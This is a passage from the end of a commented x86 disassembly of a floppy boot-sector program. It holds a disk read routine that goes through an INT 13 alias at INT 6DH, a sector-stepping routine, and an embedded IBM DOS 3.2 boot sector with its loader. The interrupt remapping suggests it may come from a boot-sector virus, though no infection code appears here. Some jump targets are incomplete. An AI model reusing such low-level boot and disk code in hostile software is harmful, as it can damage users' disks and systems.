    MOV  DH,[9]              ;HEAD = 9
    MOV  DL,[226H]      ;DRIVE
    MOV  CX,[10]             ;TRACK/SECT
    MOV  AX,[602H]      ;COMMAND/COUNT
    INT  6DH            ;(SAME AS INT 13)
    JNB  D1S_80              ;
                        ;
    MOV  AH,00               ;RESET
    INT  6DH            ;(SAME AS INT 13)
    POP  CX             ;
    LOOP D1S_10              ;TRY AGAIN
    POP  BX             ;
    POP  BX             ;
    STC                 ;RETURN ERROR
    RET                 ;
                        ;
D1S_80:  POP  CX             ;0893 59
    POP  BX             ;0894 5B
    RET                 ;0895 C3
                        ;
;-----------------------------------------------------------------------;
; INC. NEXT SECTOR                               ;
; ON ENTRY:   DS:[0009] = HEAD                        ;
;        DS:[000A] = SECTOR                      ;
;        DS:[000B] = TRACK                       ;
;-----------------------------------------------------------------------;
NEXT_SECTOR:                 ;0896
    INC  Byte Ptr [10]       ;SECTOR
    CMP  Byte Ptr [10],10    ;
    JNZ  NS_90               ;
    MOV  Byte Ptr [10],1          ;
    INC  Byte Ptr [9]        ;HEAD
    CMP  Byte Ptr [9],2      ;
    JNZ  NS_90               ;
    MOV  Byte Ptr [9],0      ;
    INC  Byte Ptr [11]       ;TRACK
NS_90:   RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    DB   64             ;08BB 'dtk'
    JZ   ;091F               ;
                        ;
;---------------------------------------;
    JMP  CONTINUE_4          ;08FA
                        ;
         DB   'IBM X3.2'     ;OEM NAME AND VERSION
                        ;
         DW   512       ;BYTES PER SECTOR
         DB   2         ;SECTORS PER ALLOCATION UNIT
         DW   1         ;RESERVED SECTORS
         DB   2         ;NUMBER OF FATS
         DW   112       ;NUMBER OF ROOT DIR ENTRIES
         DW   2D0H      ;SECTORS PER DISK
         DB   0FDH      ;MEDIA ID
         DW   2         ;SECTORS PER FAT
         DW   9         ;SECTORS PER TRACK
         DW   2         ;NUMBER OF HEADS
         DW   0         ;HIDDEN SECTORS
                        ;
;---------------------------------------;
         DB   0,0
         DB   0,0,0,0,0,0,0,0,0,0,0,0,0,0

         DB   002H,0DFH
         DB   002H,025H,002H,012H
         DB   02AH,0FFH,050H,0F6H
         DB   000H,002H,

;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    INT  19H            ;REBOOT
                        ;
L08FA:   CLI                 ;08FA FA
    XOR  AX,AX               ;08FB 33C0
    MOV  ES,AX               ;08FD 8EC0
    MOV  SS,AX               ;08FF 8ED0
    MOV  SP,7C00             ;0901 BC007C
    MOV  DS,AX               ;0904 8ED8
    MOV  BX,07C0             ;0906 BBC007
    MOV  Word Ptr [0078],002F     ;0909 C70678002F00
    MOV  [007A],BX      ;090F 891E7A00
    MOV  DS,BX               ;0913 8EDB
    MOV  DX,[001E]      ;0915 8B161E00
    MOV  [0020],DL      ;0919 88162000
    INT  13             ;GO TO DISK
    JNB  ;0924               ;091F 7303
    JMP  ;09FC               ;0921 E9D800
    MOV  SI,000B             ;0924 BE0B00
    MOV  CX,[SI]             ;0927 8B0C
    SHR  CH,1           ;0929 D0ED
    XCHG CH,CL               ;092B 86E9
    MOV  [002B],CX      ;092D 890E2B00
    MOV  AL,[SI+05]          ;0931 8A4405
    XOR  AH,AH               ;0934 32E4
    MUL  Word Ptr [SI+0B]    ;0936 F7640B
    ADD  AX,[SI+03]          ;0939 034403
    ADD  AX,[SI+11]          ;093C 034411
    MOV  [0024],AX      ;093F A32400
    MOV  BX,7E00             ;0942 BB007E
    CALL 0A24           ;0945 E8DC00
    MOV  BX,ES               ;0948 8CC3
    MOV  AX,0070             ;094A B87000
    MOV  ES,AX               ;094D 8EC0
    MOV  AX,0020             ;094F B82000
    MUL  Word Ptr [SI+06]    ;0952 F76406
    MOV  CX,[SI]             ;0955 8B0C
    ADD  AX,CX               ;0957 03C1
    DEC  AX             ;0959 48
    DIV  CX             ;095A F7F1
    ADD  [0024],AX      ;095C 01062400
    MOV  CL,[002A]      ;0960 8A0E2A00
    MOV  AX,[0024]      ;0964 A12400
    CALL ;0971               ;0967 E80700
    PUSH ES             ;096A 06
    POP  DS             ;096B 1F
    JMP  0070:0000      ;096C EA00007000
                        ;
;HEAVY NUMBER CRUNCHING HERE      ;
    PUSH BX             ;0971 53
    PUSH AX             ;0972 50
    MOV  AL,CL               ;0973 8AC1
    MUL  Byte Ptr [002B]          ;0975 F6262B00
    MOV  [0029],AL      ;0979 A22900
    POP  AX             ;097C 58
    MUL  Word Ptr [002B]          ;097D F7262B00
    DIV  Word Ptr [SI+0D]    ;0981 F7740D
    INC  DL             ;0984 FEC2
    MOV  [0028],DL      ;0986 88162800
    PUSH DX             ;098A 52
    XOR  DX,DX               ;098B 33D2
    DIV  Word Ptr [SI+0F]    ;098D F7740F
    MOV  [0021],DL      ;0990 88162100
    MOV  [0026],AX      ;0994 A32600
    POP  DX             ;0997 5A
    MOV  CL,[0029]      ;0998 8A0E2900
    ADD  DL,CL               ;099C 02D1
    MOV  AX,[SI+0D]          ;099E 8B440D
    INC  AX             ;09A1 40
    CMP  DL,AL               ;09A2 3AD0
    JBE  ;09AC               ;09A4 7606
    SUB  AL,[0028]      ;09A6 2A062800
    MOV  CL,AL               ;09AA 8AC8
    MOV  AL,CL               ;09AC 8AC1
    MOV  DX,[0026]      ;09AE 8B162600
    MOV  CL,06               ;09B2 B106
    SHL  DH,CL               ;09B4 D2E6
    OR   DH,[0028]      ;09B6 0A362800
    MOV  CX,DX               ;09BA 8BCA
    XCHG CH,CL               ;09BC 86E9
    MOV  DX,[0020]      ;09BE 8B162000
    MOV  AH,02               ;READ SECTOR
    PUSH AX             ;
    INT  13             ;
    POP  AX             ;09C7 58
    JB   ;09FC               ;09C8 7232
    SUB  [0029],AL      ;09CA 28062900
    JBE  ;09F5               ;09CE 7625
    CBW                 ;09D0 98
    MUL  Word Ptr [002D]          ;09D1 F7262D00
    ADD  BX,AX               ;09D5 03D8
    INC  Byte Ptr [0021]          ;09D7 FE062100
    MOV  DL,[0021]      ;09DB 8A162100
    CMP  DL,[SI+0F]          ;09DF 3A540F
    MOV  DL,01               ;09E2 B201
    MOV  [0028],DL      ;09E4 88162800
    JB   ;0998               ;09E8 72AE
    MOV  Byte Ptr [0021],00  ;09EA C606210000
    INC  Word Ptr [0026]          ;09EF FF062600
    JMP  ;0998               ;09F3 EBA3
    POP  BX             ;09F5 5B
    RET                 ;09F6 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    MOV  SI,01B3             ;09F7 BEB301
    JMP  ;09FF               ;09FA EB03
    MOV  SI,01C5             ;09FC BEC501
    CALL L0A15               ;09FF E81300
    MOV  SI,01D4             ;0A02 BED401
    CALL L0A15               ;0A05 E80D00
    MOV  AH,00               ;0A08 B400
    INT  16             ;0A0A CD16
    MOV  AH,01               ;0A0C B401
    INT  16             ;0A0E CD16
    JNZ  0A0C           ;0A10 75FA
    JMP  ;08F8               ;0A12 E9E3FE
                        ;
L0A15:   LODSB                    ;L0A15
    OR   AL,AL               ;0A16 0AC0
    JZ   0A23           ;0A18 7409
    MOV  AH,0E               ;0A1A B40E
    MOV  BX,0007             ;0A1C BB0700
    INT  10             ;0A1F CD10
    JMP  L0A15               ;0A21 EBF2
    RET                 ;0A23 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;

    MOV  CL,01               ;0A24 B101
    CALL ;0971               ;0A26 E848FF
    PUSH SI             ;0A29 56
    MOV  DI,BX               ;0A2A 8BFB
    MOV  AX,ES:[BX+1C]       ;0A2C 268B471C
    XOR  DX,DX               ;0A30 33D2
    DIV  Word Ptr [SI]       ;0A32 F734
    INC  AL             ;0A34 FEC0
    MOV  [002A],AL      ;0A36 A22A00
    MOV  SI,019D             ;0A39 BE9D01
    MOV  CX,000B             ;0A3C B90B00
    REPZ                ;0A3F F3
    CMPSB                    ;0A40 A6
    JNZ  ;09F7               ;0A41 75B4
    MOV  AX,ES:[BX+3A]       ;0A43 268B473A
    MOV  [0022],AX      ;0A47 A32200
    MOV  DI,BX               ;0A4A 8BFB
    ADD  DI,+20              ;0A4C 83C720
    MOV  SI,01A8             ;0A4F BEA801
    MOV  CX,000B             ;0A52 B90B00
    REPZ                ;0A55 F3
    CMPSB                    ;0A56 A6
    JNZ  ;09F7               ;0A57 759E
    POP  SI             ;0A59 5E
    RET                 ;0A5A C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CODE     ENDS                ;
    END                 ;
